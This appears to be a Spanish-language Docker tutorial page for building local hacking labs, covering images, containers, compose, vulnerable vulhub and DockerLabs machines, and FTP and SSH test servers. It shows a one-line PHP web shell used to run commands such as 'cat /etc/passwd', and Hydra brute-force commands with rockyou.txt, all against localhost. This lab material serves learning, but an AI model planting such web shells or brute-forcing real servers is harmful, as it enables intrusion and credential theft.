top of page
docker.png
undercons.png
docker

​🐳 DOCKER

Docker es una tecnología de contenedores escrita en "Golang" que permite a los desarrolladores empaquetar aplicaciones y sus dependencias en contenedores virtuales, facilitando su ejecución en cualquier sistema operativo. Estos contenedores son ligeros y portátiles, lo que significa que pueden ejecutarse en cualquier entorno que soporte Docker, independientemente del sistema operativo subyacente. Docker utiliza el kernel de Linux y sus características, como los grupos de control y los espacios de nombres, para aislar los procesos y ejecutarlos de manera independiente, mejorando la seguridad y la eficiencia en el uso de la infraestructura.

Docker se compone de varios componentes, incluyendo "
docker images", que son plantillas de solo lectura que contienen todo lo necesario para ejecutar una aplicación, y contenedores, que son instancias en ejecución de estas imágenes. Las imágenes Docker pueden ser compartidas y distribuidas, lo que permite a los desarrolladores y a los equipos de operaciones trabajar con la misma configuración de aplicación en diferentes entornos.


NOTA: Docker requiere permisos de root en todo momento

📦 Instalación:
sudo apt install docker.io

📦 Comprobar instalación exitosa:
sudo docker run hello-world

▶️ Poner Docker en ejecución:
sudo service docker start

⛔ Parar Docker:
sudo service docker stop

🔄 Reiniciar Docker:
sudo service docker restart

📊 Ver estado de Docker:
sudo service docker status
 

​​🗃️ ESQUEMA DE FUNCIONAMIENTO
 

docker_funcionamiento.png

💿

💿

💿

🛢️

🛢️

🛢️

🛢️

🛢️

📦

💿

📄

📦

esquema

📄 DOCKERFILES  / 💿 DOCKER IMAGES

Un Dockerfile es un archivo de texto que contiene las instrucciones para construir una IMAGEN Docker.

Estructura
MÍNIMA:

    FROM ubuntu:latest

    MAINTAINER Nombre_creador "correo@mail.com"

⚙️ Montar imagen Docker a partir del Dockerfile:
docker build -t my_image .

⚙️ Montar imagen Docker a partir del Dockerfile (una versión 2):
docker build -t my_first_image:v2 .

🔎 Mostrar imágenes Docker montadas:
docker images

REPOSITORY           TAG        IMAGE ID         CREATED                 SIZE
my_image               latest     4kfd4gm3s     20 seconds ago     77.8MB

🗑️ ELIMINAR imagen Docker montada, por NOMBRE (no dejará si de esa imagen dependen otras. "Child images"):
docker rmi my_image:tag

🗑️ ELIMINAR imagen Docker montada, por ID (no dejará si de esa imagen dependen otras. "Child images"):
docker rmi 4kfd4gm3s

🗑️ ELIMINAR imagen Docker montada FORZOSAMENTE, por ID:
docker rmi 4kfd4gm3s --force

🗑️ ELIMINAR TODAS las imagen Docker montadas:
docker rmi $(docker images -q)

⚙️ Montar una imagen Docker preinstalada de la librería Docker:
docker pull debian:latest

   LISTA de opciones preinstaladas:
   Ubuntu                            (Basada en Ubuntu, una de las distribuciones de Linux más populares)
   Debian                             (Basada en Debian, ofrece estabilidad y seguridad)
   Alpine                              (Una distribución ligera y segura, ideal para contenedores)
   Python                             (Para ejecutar aplicaciones escritas en Python)
   Node                                (Para ejecutar aplicaciones basadas en Node.js)
   MySQL                             (Para bases de datos MySQL)
   PostgreSQL                    (Para bases de datos PostgreSQL)
   Redis                                (Para almacenamiento en memoria y estructuras de datos)
   MongoDB                       (Para bases de datos NoSQL)
   Nginx                               (Como servidor web y proxy inverso)
   Apache                            (Como servidor web)
   Golang                             (Para aplicaciones escritas en Go)
   Ruby                                (Para aplicaciones escritas en Ruby)
   PHP                                  (Para aplicaciones web PHP)
 
 
📄 Edición del Dockerfile, programando Binarios a instalar:
 
    FROM ubuntu:latest

    MAINTAINER Nombre_creador "correo@mail.com"
 
    RUN apt update && apt install -y net-tools \
             iputils-ping \
             dnsutils \
             curl \
             git \
             nano \
             mousepad \
             nmap \
             apache2 \
             php

dockerfile
run image

🛢️ DOCKER CONTAINERS

▶️ Ejecutar Contenedor a partir de una imagen Docker:
docker run -dit --name mycontainer my_image

 PARÁMETROS de docker run:
 -t                         (Asigna un pseudo-TTY al contenedor. Esto es útil para interactuar con el contenedor como si fuera una terminal)
 -i                          (Mantiene abierta la entrada estándar (STDIN) para el contenedor, permitiendo la interacción con el usuario)
 -d                        (Ejecuta el contenedor en segundo plano y devuelve el ID del contenedor)
 --name            (Asigna un nombre al contenedor, facilitando su identificación y gestión)
 -p                        (Publica un puerto del contenedor al host. Esto es útil para acceder a servicios web o aplicaciones que se ejecutan dentro del contenedor)
 -v                        (Monta un volumen del host en el contenedor. Esto permite persistir datos y compartir archivos entre el host y el contenedor)
 -e                        (Establece variables de entorno dentro del contenedor)
 --rm                  (Elimina automáticamente el contenedor cuando este se detiene. Esto es útil para limpiar contenedores que no se van a reutilizar)
-p 80:80           (Significa que cualquier tráfico dirigido al puerto 80 del host será redirigido al puerto 80 del contenedor, permitiendo así el acceso
                               externo al servicio que se ejecuta dentro del contenedor)


🔎 Mostrar Contenedor Docker en ejecución:
docker ps

🔎 Mostrar Contenedor Docker ejecutados y/o en ejecución:
docker ps -a

CONTAINER ID           IMAGE                        COMMAND         CREATED                   STATUS                   PORTS        NAMES
e43h849238db0       my_image                 "bash"                 10 seconds ago       Up 5 seconds                              myContainer

▶️ Iniciar un Contenedor por su ID. Si el Contenedor no está en ejecución, no se podrá ejecutar comandos en él:
docker start e43h849238db0

▶️ Iniciar un Contenedor por su NOMBRE. Si el Contenedor no está en ejecución, no se podrá ejecutar comandos en él:
docker start myContainer 

⛔ Parar un Contenedor en ejecución, por ID (puede tardar):
docker stop e43h849238db0

⛔ Parar un Contenedor en ejecución, por NOMBRE (puede tardar):
docker stop myContainer 

⛔ Parar TODOS los Contenedores en ejecución (puede tardar):
docker stop $(docker ps -q)

🗑️💥BORRAR FORZOSAMENTE Contenedor por ID, estando o no en ejecución:
docker rm e43h849238db0 --force

🗑️💥BORRAR FORZOSAMENTE Contenedores pendientes, si quedan cacheados:
docker rm $(docker ps -a -q) --force

#️⃣ Ejecutar comandos en un Contenedor que ya está en ejecución:
docker exec

#️⃣ EJEMPLO. Ejecutar un comando ls en un Contenedor en ejecución, por CONTAINER ID:
docker exec e43h849238db0 ls

🖥️ VER IP DOCKER

🟦 Ver IP de DOCKER0:
ifconfig | grep -A 1 "docker" | grep inet | awk '{print$2}'

Para escanear la Interfaz de Red "docker0" y mostrar las direcciones IP de las máquinas/contenedores Docker en ejecución,
ir
AQUÍ.

ver ip docker
bash shell

​🐚 BASH SHELL

Obtener una shell interactiva BASH dentro del Contenedor, por NOMBRE:
docker exec -it myContainer bash

Obtener una shell interactiva BASH dentro del Contenedor, por CONTAINER ID:
docker exec -it e43h849238db0 bash

#️⃣ DENTRO DE LA BASH SHELL:

hostname
e43h849238db0

hostname -I
172.17.0.2 

NOTA: 172.17.0.2 es un ejemplo de IP asignada a la imagen Docker. En este caso, la IP del equipo anfitrión sería esa.

NOTA: La Bash Shell viene por defecto "desnuda", es decir, con los binarios básicos del sistema. Cualquier otro comando adicional será necesario instalarlo.


CONFIGURAR LA BASH SHELL (también se puede configurar desde el Dockerfile):

1. Actualizar sistema

apt update

2. Instalar herramientas básicas de red:
apt install net-tools -y

3. Instalar binarios, por ejemplo PING:
apt install iputils-ping
 

port forward

​🔌 PORT FORWARDING

El port forwarding en Docker permite exponer los puertos de los contenedores al mundo exterior, facilitando la comunicación entre los contenedores y el mundo exterior. Los contenedores Docker se ejecutan en aislamiento por defecto y solo pueden comunicarse con otros contenedores en la misma red. Para hacer un contenedor accesible desde el mundo exterior o para mapear un puerto de contenedor a un puerto de host, se utiliza el port forwarding.

📄 Construir una imagen Docker, programando Binarios a instalar, activando Apache y exponiendo el puerto 80.
      Con
ENV se crea una variable de entorno que evita que entre en modo interactivo.

    FROM ubuntu:latest

    MAINTAINER Nombre_creador "correo@mail.com"

    
ENV DEBIAN_FRONTEND noninteractive

    RUN apt update && apt install -y net-tools \
             iputils-ping \
             dnsutils \
             curl \
             git \
             nano \
             mousepad \
             nmap \
             python3 \
             apache2 \
             php

    EXPOSE 80

    ENTRYPOINT service apache2 start && /bin/bash


⚙️ Montar la imagen Docker de nombre webserver:
docker build -t webserver .

▶️ Para la ejecución de dicha imagen Docker (imitando un servidor), le indicaremos que el puerto 80 del host corresponda con el puerto 80 del contenedor:
docker run -dit -p 80:80 --name myWebServer webserver

Pedir a Docker información sobre un puerto:
docker port myWebServer
80/tcp - 0.0.0.0:80

Ver aplicaciones corriendo por un puerto del equipo:
lsof -i:80
COMMAND          PID          USER           FD           TYPE           DEVICE          SIZE/OFF           NODE            NAME
docker-pr     204485          root             4u             IPv4         2107519                    0t0               TCP     *:http (LISTEN)


Otra forma de comprobar el tráfico por el puerto 80, desde el navegador haciendo un "localhost":
 

apachelocalhost.png


🐚 Obtener una Bash Shell del contenedor en ejecución:
docker exec -it myWebServer bash
root@0351db93b37:/#


#️⃣ DENTRO DE LA BASH SHELL:

Si hacemos lo siguiente, borraríamos la página de bienvenida por defecto de Servidor Apache2 que se vio anteriormente:
cd /var/www/html/

ls
index.html

rm index.html
 

emptyindex.png


Crear nuevo index en php para mostrar texto en el navegador:
mousepad index.php 

📄 Dentro de mousepad u otro editor de texto:

     <?php
                   echo
"Esto es una prueba";
     ?>

 

pruebaPHP.png


Si en lugar de un index en php, se crea o se pudiera subir al servidor un archivo cmd en php, se podría comprometer el contenedor Docker, pero no la máquina anfitrión, que quedaría protegida por el contenedor:
mousepad cmd.php 

📄 Dentro de mousepad u otro editor de texto:

     <?php
                 
 echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
     ?>



Recargando Localhost en el navegador, permitirá acceder al archivo cmd.php:
 

cmdphp.png


Ahora será posible ejecutar comandos en la barra del navegador mediante:
localhost/cmd.php?cmd=
 
EJEMPLOS:
localhost/cmd.php?cmd=whoami
www-data
 
localhost/cmd.php?cmd=ls -l
total 4
-rw-r--r-- 1 root root 62 Dec 23 15:44 cmd.php

localhost/cmd.php?cmd=cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin:nologin
...


localhost/cmd.php?cmd=ifconfig              (la información mostrada corresponde al contenedor y no a la máquina anfitrión)
eth0: flags=4163   mtu 1500
           inet  172.17.0.2  netmask  255.255.0.0   broadcast  172.17.255.255
           ...

     lo: flags=73   mtu 65536

           inet  127.0.0.1  netmask  255.0.0.0
           loop txqeuelen 1000   (Local Loopback)
           ...

​​📁 MONTURAS / MONTAR DIRECTORIOS

Montar la imagen Docker sobre un directorio del sistema anfitrión, sincronizado a un directorio del contenedor:

▶️ Ejecutar
contenedor Docker:
docker run -dit -p 80:80 -v /home/user/Desktop/docker/:/var/www/html/ --name myWebServer webserver

🔎 Mostrar contenedores Docker en ejecución:
docker ps

CONTAINER ID     IMAGE            COMMAND                       CREATED                STATUS                PORTS                            NAMES
11b836c4c01c     webserver     "/bin/sh -c 'service..."   8 seconds ago       Up 5 seconds      0.0.0.0:80->80/tcp     myWebServer
 

monturas
compose

​​📦 DOCKER-COMPOSE

Docker-Compose es una herramienta que permite definir y ejecutar aplicaciones multi-contenedor con Docker. Es fundamental para simplificar el control de toda la pila de aplicaciones, facilitando la gestión de servicios, redes y volúmenes en un único archivo de configuración YAML. Con un solo comando, puedes crear y comenzar todos los servicios definidos en tu archivo de configuración. Docker Compose es compatible con todos los entornos, incluyendo producción, staging, desarrollo, pruebas y flujos de trabajo de CI. Además, ofrece comandos para gestionar el ciclo de vida completo de tu aplicación, como iniciar, detener y reconstruir servicios, ver el estado de los servicios en ejecución, transmitir la salida de registro de los servicios en ejecución, y ejecutar un comando único en un servicio.

Instalar Docker-Compose:
sudo apt install docker-compose

Arrancar Docker-Compose desde un directorio que contenga un archivo docker-compose.yml:
docker-compose up -d

Archivo editable:
docker-compose.yml

Contenido de EJEMLO de docker-compose.yml:

     version: '3.7'
     services:
           nginx:
                  build:
.
                  volumes:
                        - ./www:/var/www/html
                        - ./conf:/etc/nginx

                  ports:
                        - "80:80"
                        - "443:443"



Este archivo define un servicio llamado nginx que construirá una imagen Docker a partir del Dockerfile presente en el directorio actual (.). Monta dos volúmenes: uno para el contenido web (www) y otro para la configuración de Nginx (conf). Exponiendo los puertos 80 y 443, permite el acceso al servicio web desde el host y otros contenedores.

Para este ejemplo, necesitarás un
Dockerfile en el directorio actual que construya una imagen con Nginx y la configuración necesaria para el entorno vulnerable.

Aquí hay un ejemplo básico de cómo podría verse ese
Dockerfile:

    FROM ubuntu:latest

   
RUN apt-get update && apt-get install -y nginx

   
COPY ./conf /etc/nginx
   
COPY ./www /var/www/html

   
EXPOSE 80

    CMD ["nginx", "-g", "daemon off;"]


continue...

desplegar maquinas

​​🖥️ DESPLEGAR MÁQUINAS VULNERABLES  (con ejemplo práctico)

Directorio de máquinas vulnerables desplegables con Docker:
🌐 
https://github.com/vulhub/vulhub

🖥️ Máquina de ejemplo: kibana/CVE-2018-17246
🌐 https://github.com/vulhub/vulhub/tree/master/kibana/CVE-2018-17246

⚠️Descarga con CURL (git clone tira error) requiere modificar el último tramo con el repositorio correspondiente:
curl https://codeload.github.com/vulhub/vulhub/tar.gz/master | tar -xz --strip=2 vulhub-master/kibana/CVE-2018-17246
 
Archivo editable:
docker-compose.yml

     version: '3'
     services:
        kibana:
              image:
vulhub/kibana:5.6.12
              depends_on:
                 
- elasticsearch
              ports:
                 
- "5601:5601"
        elasticsearch:
              image:
vulhub/elasticsearch:5.6.16


NOTA: Por defecto viene como versión '2', lo que podría dar errores más adelante. Modificar a versión '3'.

Ejecutar la siguiente línea en una terminal situada en el directorio del docker-compose.yml:
docker-compose up -d

Comprobar las imágenes Docker:
docker images
REPOSITORY                   TAG            IMAGE ID                CREATED           SIZE
vulhub/elasticsearch    5.6.16       15f4fc379c17        4 years ago       323MB
vulhub/kibana                 5.6.12       69bb89604af3      4 years ago       388MB



Comprobar los contenedores:
docker ps
CONTAINER ID        IMAGE                                   COMMAND                              STATUS      PORTS                                       
095a681f7eb6       vulhub/kibana:5.6.12        "/docker-entrypoint.…"       Up                0.0.0.0:5601->5601/tcp, :::5601->5601/tcp


Ver conectividad de puertos del contenedor (puerto 5601 del equipo = puerto 5601 del contenedor):
docker port 095a681f7eb6
5601/tcp -> 0.0.0.0:5601
5601/tcp -> :::5601

 

 

​​🐋 DESPLEGAR DOCKERLABS
 
🌐 https://dockerlabs.es/


▶️ Iniciar máquina (desde terminal en carpeta contenedora):
sudo bash auto_deploy.sh [nombre_máquina].tar

⛔ Parar máquina:
[ctrl] + [c]

desplegar dockerlabs

🔌 DOCKER NETWORK

🔎 Ver Interfaces de Red de DOCKER:
docker network ls

NETWORK ID             NAME            DRIVER          SCOPE
094efb30f6fa            bridge            bridge            local
7b6a2bdbe14f           host               host               local
2e3640922ade          none              null                 local


🗑️ Eliminar Interfaz de Red de DOCKER:
docker network rm [network id]
 

docker network

🧹 LIMPIEZA TOTAL

1º. Comprobar los contenedores en ejecución:
docker ps

2º. Parar todos los contenedores:
docker stop $(docker ps -a -q)

3º. Eliminar todos los contenedores:
docker rm $(docker ps -a -q)

4º. Comprobar las imágenes en ejecución:
docker images

4º. Eliminar todas las imágenes:
docker rmi $(docker images -q)

Clean services
FTP server

🖥️ FTP SERVER

Iniciar un Servidor FTP usando vsftpd:

      GitHub:
garethflowers
🌐 https://github.com/garethflowers/docker-ftp-server
 
Para iniciar un contenedor, con los datos en /data en el host, pasar lo siguiente por terminal:
docker run \
                --detach \
                --env FTP_PASS=123 \
                --env FTP_USER=SF01 \
                --name my-ftp-server \
                --publish 20-21:20-21/tcp \
                --publish 40000-40009:40000-40009/tcp \
                --volume /data:/home/user \
                garethflowers/ftp-server
 
O mediante docker compose:
services:
     ftp-server:
         container_name: my-ftp-server
         environment:
               - FTP_PASS=
123
               - FTP_USER=SF01
         image: garethflowers/ftp-server
         ports:
               - '20-21:20-21/tcp'
               - '40000-40009:40000-40009/tcp' # Only needed for passive mode
         volumes: - '/data:/home/user'


Para conectar con el servidor FTP creado:
ftp localhost
Introducir nombre de usuario:
SF01
Introducir contraseña:
123

Hacer fuerza bruta (sacar contraseña) sobre el servidor con Hydra usando la wordlist rockyou.txt:
hydra -l SF01 -P /usr/share/wordlists/rockyou.txt ftp://127.0.0.1

_____________________________________________________________________________________________


Iniciar un Servidor FTP que tiene habilitado el usuario 👤anonymous:
 
       GitHub:
metabrainz
🌐 https://github.com/metabrainz/docker-anon-ftp

Para el contenedor, pasar lo siguiente por terminal:
docker run -d -p 20-21:20-21 -p 65500-65515:65500-65515 -v /tmp:/var/ftp:ro metabrainz/docker-anon-ftp

Haciendo un escaneo con Nmap a localhost:
nmap -sCV -p21 127.0.0.1
 
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 6250000
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon:
Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.17.0.2 is not the same as 127.0.0.1
Service Info: Host: Welcome

 
Por lo tanto, para conectar con el servidor FTP:
ftp localhost
Introducir nombre de usuario:
anonymous
Introducir contraseña (ninguna):
[enter]

🖥️ SSH SERVER

Iniciar un Servidor SSH usando docker cli:

🌐 https://hub.docker.com/r/linuxserver/openssh-server

Para iniciar el contenedor, pasar lo siguiente por terminal:
docker run -d \
  --name=openssh-server \
  --hostname=openssh-server `#optional` \
  -e PUID=1000 \
  -e PGID=1000 \
  -e TZ=Etc/UTC \
  -e PUBLIC_KEY=yourpublickey `#optional` \
  -e PUBLIC_KEY_FILE=/path/to/file `#optional` \
  -e PUBLIC_KEY_DIR=/path/to/directory/containing/_only_/pubkeys `#optional` \
  -e PUBLIC_KEY_URL=https://github.com/username.keys `#optional` \
  -e SUDO_ACCESS=false `#optional` \
  -e PASSWORD_ACCESS=
true \
  -e USER_PASSWORD=
aurora \
  -e USER_NAME=
SF01 \
  -e LOG_STDOUT= `#optional` \
  -p 2222:2222 \
  -v /path/to/openssh-server/config:/config \
  --restart unless-stopped \
  lscr.io/linuxserver/openssh-server:latest


Para conectar con el servidor SSH:
ssh SF01@127.0.0.1 -p 2222
Contestar pregunta:
yes
Introducir contraseña:
aurora

Hacer fuerza bruta (sacar contraseña) sobre el servidor con Hydra usando la wordlist rockyou.txt:
hydra -l SF01 -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1 -s 2222 -t 15


 

SSH server

📄 DOCKERFILE - PARA REVERSE/BIND/FORWARD SHELL

Contenido del Dockerfile:

    FROM ubuntu:latest

    MAINTAINER Nombre_creador "correo@mail.com"

    ENV DEBIAN_FRONTEND noninteractive

    RUN apt update && apt install -y net-tools \
             iputils-ping \
             dnsutils \
             curl \
             git \
             nano \
             nmap \
             python3 \
             apache2 \
             php

    EXPOSE 80

    ENTRYPOINT service apache2 start && /bin/bash


Contenido
 

dockerfile rev shell

​​📡 DOCKER0 SCANNING

Docker utiliza un componente llamado Docker Networking para gestionar la comunicación entre contenedores, el host y el exterior. Cuando instalas Docker, este crea automáticamente una red virtual interna (por defecto, una red de tipo bridge) para los contenedores. Esta red se llama docker0 y está diseñada para aislar los contenedores del resto de la red del host y de otras redes externas, proporcionando un entorno controlado.
 
El rango de direcciones IP 172.17.0.0/16 (que va desde 172.17.0.0 hasta 172.17.255.255) es el rango predeterminado que Docker asigna a la red bridge (docker0) cuando se instala.

Ver Interfaces de Red activas (entre las que debería estar
docker0 si el contenedor/máquina se ha ejecutado con éxito):
ifconfig

Escanear el "Docker Networking" con Arp-scan para ver las direcciones IP de las máquinas en ejecución con Docker:

sudo arp-scan --interface=docker0 172.17.0.0/16

Comprobar los Contenedores Docker en ejecución:

docker ps

docker0-scanning
bottom of page